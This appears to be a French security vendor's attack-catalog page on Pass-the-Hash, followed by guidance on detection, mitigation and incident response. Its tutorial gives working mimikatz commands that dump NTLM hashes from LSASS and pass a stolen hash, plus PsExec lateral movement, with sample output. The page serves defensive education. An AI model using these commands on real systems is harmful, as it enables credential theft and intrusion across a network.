Attaque Pass the Hash
Une fois qu'un adversaire a pris pied dans le réseau, ses tactiques évoluent vers la compromission de systèmes supplémentaires et l'obtention des privilèges nécessaires pour mener à bien sa mission. Pass-the-Hash est une technique de vol d'identifiants et de mouvement latéral dans laquelle un attaquant abuse du protocole d'authentification NTLM pour s'authentifier en tant qu'utilisateur sans jamais obtenir le mot de passe en clair du compte. Puisque l'attaquant utilise le hash du mot de passe, qui ne change normalement que lorsque le mot de passe lui-même est modifié, l'adversaire dispose d'un temps considérable pour abuser du compte compromis.
Résumé des menaces
Cible : points de terminaison Windows activés pour LM et NTLM
Outils : mimikatz, Cobalt Strike, Empire, Invoke-TheHash, Metasploit
Tactique ATT&CK® : Évasion de défense, Mouvement latéral
Technique ATT&CK : T1550.002
Difficulté
Détection : Difficile
Atténuation : Difficile
Réponse : Moyenne
Tutoriel d'attaque : Fonctionnement d'une attaque Pass the Hash
ÉTAPE 1 : Voler les hachages de mots de passe
Un adversaire qui a réussi à s'infiltrer dans un réseau peut utiliser plusieurs méthodes pour obtenir des hachages de mots de passe, y compris les DCSync attacks et l'extraction de hachages à partir de NTDS.dit. Une autre méthode, illustrée ci-dessous, consiste à extraire les hachages de mots de passe de la mémoire du processus LSASS.exe, qui stocke les hachages pour les utilisateurs ayant des sessions actives sur l'ordinateur. Notez que cette technique nécessite que l'adversaire ait compromis les privilèges administratifs de l'ordinateur (par exemple, en incitant un utilisateur qui est administrateur sur le poste de travail à ouvrir un e-mail d'hameçonnage).
PS> .\mimikatz.exe "privilege::debug" "log passthehash.log" "sekurlsa::logonpasswords"
Authentication Id : 0 ; 302247 (00000000:00049ca7)
Session: RemoteInteractive from 2
User Name: joed
Domain: DOMAIN
Logon Server: DC1
Logon Time: 09/07/2020 10:31:19
SID: S-1-5-21-3501040295-3816137123-30697657-1109
msv :
[00000003] Primary
* Username : joed
* Domain: DOMAIN
* NTLM: eed224b4784bb040aab50b8856fe9f02
* SHA1: 42f95dd2a124ceea737c42c06ce7b7cdfbf0ad4b
* DPAPI: e75e04767f812723a24f7e6d91840c1d
tspkg :
wdigest :
* Username : joed
* Domain: DOMAIN
* Password : (null)
kerberos :
* Username : joed
* Domain: domain.com
* Password : (null)
ssp :
credman :
ÉTAPE 2 : Authentifiez-vous en utilisant un hash de mot de passe volé
Ensuite, l'adversaire utilise l'un des hachages de mot de passe volés pour s'authentifier en tant qu'utilisateur en utilisant la technique Pass the Hash. L'exemple ci-dessous montre comment utiliser le hachage de mot de passe volé pour lancer cmd.exe ; il est également possible de passer le hachage directement sur le réseau vers toute ressource accessible autorisant l'authentification NTLM.
Pour passer-le-hachage en utilisant mimikatz sekurlsa::pth, les paramètres suivants sont spécifiés :
/user: — The compromised user’s username
/domain: — The FQDN of the domain (if using a domain account) or “.” (if using a local account)
/ntlm:, /aes128: or /aes256: — The stolen NTLM, AES-128 or AES-256 password hash
PS> .\mimikatz.exe "sekurlsa::pth /user:JoeD /domain:domain.com /ntlm:eed224b4784bb040aab50b8856fe9f02"
user: JoeD
domain: domain.com
program : cmd.exe
impers. : no
NTLM: eed224b4784bb040aab50b8856fe9f02
| PID11560
|TID10044
|LSA Process is now R/W
|LUID 0 ; 58143370 (00000000:0377328a)
\_ msv1_0- data copy @ 000001AE3DDE8A30 : OK !
\_ kerberos - data copy @ 000001AE3DECE9E8
\_ aes256_hmac-> null
\_ aes128_hmac-> null
\_ rc4_hmac_ntOK
\_ rc4_hmac_oldOK
\_ rc4_md4OK
\_ rc4_hmac_nt_expOK
\_ rc4_hmac_old_expOK
\_ *Password replace @ 000001AE3DFEC428 (32) -> null
# New CMD Window Opens
ÉTAPE 3 : Accéder à d'autres ressources
Enfin, l'adversaire peut utiliser ses privilèges nouvellement acquis pour poursuivre ses objectifs. L'exemple ci-dessous montre comment ils peuvent utiliser l'outil PSExec pour exécuter des commandes sur des systèmes distants afin d'étendre leur empreinte et de répéter le cycle de vol d'identifiants et de mouvement latéral sur un nombre toujours croissant de systèmes.
PS> .\PSExec.exe \\server1 cmd.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
server1
Détecter, atténuer et répondre
Détecter
Difficulté : Difficile
Parce que l'authentification NTLM est traitée par chaque poste de travail et serveur, la technique pass-the-hash peut être difficile à détecter pour les organisations, car chaque point de terminaison doit être surveillé pour détecter toute activité suspecte.
- Surveillez les authentifications NTLM (en particulier pour les connexions à distance) pour détecter les changements dans les modèles de comportement des utilisateurs, par exemple : un utilisateur accédant à un plus grand nombre de points de terminaison que d'habitude ; ou, un utilisateur accédant pour la première fois à des points de terminaison.
- Pour extraire les hachages du processus LSASS.exe d'un point de terminaison, le logiciel malveillant devrait obtenir un handle avec les privilèges PROCESS_VM_OPERATION et PROCESS_VM_WRITE. Les solutions de Endpoint Detection and Response peuvent surveiller les processus qui créent des handles suspects.
- L'extraction de hachages à partir de Active Directory nécessite des privilèges administratifs et l'utilisation d'autres techniques telles que DCSync et l'extraction de hachages à partir de NTDS.dit. La détection de ces techniques est discutée sur leurs pages du catalogue d'attaques.
Atténuer
Difficulté : Difficile
Parce que l'exploitation de la technique pass-the-hash utilise des fonctionnalités du protocole NTLM, elle ne peut pas être complètement éliminée. Cependant, il existe des solutions qui peuvent rendre plus difficile pour les adversaires de compromettre les hachages ou de restreindre leur capacité à utiliser ces hachages pour se déplacer latéralement.
- Activez le Windows Defender Credential Guard de Microsoft. Introduit dans Windows 10 et Windows Server 2016, Credential Guard repose sur la virtualisation pour protéger le stockage des identifiants et n'autoriser que les processus de confiance à y accéder.
- Supprimez les privilèges d'administrateur des utilisateurs de leurs postes de travail, limitant ainsi la capacité des adversaires à exécuter des logiciels malveillants et en retirant les privilèges nécessaires pour extraire les hachages de LSASS.exe.
- Ne permettez pas aux utilisateurs de posséder des privilèges administratifs sur un grand nombre de points de terminaison. Cela réduit considérablement la valeur d'un identifiant pour un adversaire cherchant à l'utiliser pour un mouvement latéral.
- Ne permettez pas aux utilisateurs de posséder des privilèges administratifs à travers les frontières de sécurité. Cela réduit considérablement le risque qu'un identifiant compromis puisse être utilisé par un adversaire pour élever les privilèges.
- Randomisez et stockez les mots de passe des administrateurs locaux en utilisant une solution telle que Microsoft Local Administrator Password Solution (LAPS). Cela réduit la capacité d'un adversaire à se déplacer latéralement avec des comptes locaux qui partagent le même mot de passe.
- N'autorisez pas les comptes locaux à s'authentifier sur le réseau. Cela réduit la capacité d'un adversaire à se déplacer latéralement avec des comptes locaux qui partagent le même mot de passe. Deux nouveaux identifiants de sécurité bien connus (SIDS) ont été ajoutés dans Windows 8.1 et Windows 2012R2 et peuvent être utilisés dans les stratégies de groupe à cette fin. Le SID S-1-5-113 s'appliquera à tout compte local, tandis que le SID S-1-5-114 s'appliquera à tout compte local qui est également membre du groupe des administrateurs locaux.
- Ajoutez des comptes de domaine privilégiés au groupe Protected Users pour réduire les risques de vol d'identifiants.
- Configurez un pare-feu basé sur l'hôte (comme Windows Defender Firewall) pour contrôler et limiter quels hôtes peuvent communiquer avec les autres. Par exemple, dans la plupart des environnements, les postes de travail ont peu besoin de communiquer directement avec d'autres postes de travail. L'utilisation d'un pare-feu basé sur l'hôte pour bloquer ce trafic peut limiter les mouvements latéraux.
Répondez
Difficulté : Moyenne
Si vous détectez une utilisation possible de Pass the Hash, prenez immédiatement les mesures suivantes :
- Activez le processus de réponse aux incidents et alertez l'équipe de réponse.
- Réinitialisez le mot de passe de l'utilisateur compromis, ce qui rend le hash du mot de passe volé invalide.
- Mettez en quarantaine les machines impactées pour l'investigation médico-légale et les activités d'éradication et de récupération. Analysez les journaux pour déterminer si cet ordinateur est le patient zéro ou si l'attaquant a pivoté vers cette machine depuis un autre endroit, ainsi que si l'attaquant a pivoté de cette machine vers une autre.
Partager sur
Voir les attaques de cybersécurité associées
Abus des autorisations d'application Entra ID – Fonctionnement et stratégies de défense
Modification de AdminSDHolder – Fonctionnement et stratégies de défense
Attaque AS-REP Roasting - Fonctionnement et stratégies de défense
Attaque Hafnium - Fonctionnement et stratégies de défense
Attaques DCSync expliquées : Menace pour la sécurité d'Active Directory
Attaque Golden SAML
Comprendre les attaques Golden Ticket
Attaque des comptes de service gérés par groupe
Attaque DCShadow – Fonctionnement, exemples concrets et stratégies de défense
Injection de prompt ChatGPT : Comprendre les risques, exemples et prévention
Attaque d'extraction de mot de passe NTDS.dit
Attaque Kerberoasting – Fonctionnement et stratégies de défense
Explication de l'attaque Pass-the-Ticket : Risques, Exemples et Stratégies de Défense
Attaque par pulvérisation de mots de passe
Attaque d'extraction de mot de passe en clair
Vulnérabilité Zerologon expliquée : Risques, Exploits et Atténuation
Attaques de rançongiciels sur Active Directory
Déverrouillage d'Active Directory avec l'attaque Skeleton Key
Mouvement latéral : Qu'est-ce que c'est, comment ça fonctionne et préventions
Attaques de l'homme du milieu (MITM) : ce qu'elles sont et comment les prévenir
Pourquoi PowerShell est-il si populaire auprès des attaquants ?
4 attaques de compte de service et comment s'en protéger
Comment prévenir les attaques de logiciels malveillants d'affecter votre entreprise
Qu'est-ce que le Credential Stuffing ?
Compromettre SQL Server avec PowerUpSQL
Qu'est-ce que les attaques de Mousejacking et comment se défendre contre elles
Vol de credentials avec un fournisseur de support de sécurité (SSP)
Attaques par tables arc-en-ciel : leur fonctionnement et comment se défendre
Un regard approfondi sur les attaques par mot de passe et comment les arrêter
Reconnaissance LDAP
Contournement de l'authentification multifacteur avec l'attaque Pass-the-Cookie
Attaque Silver Ticket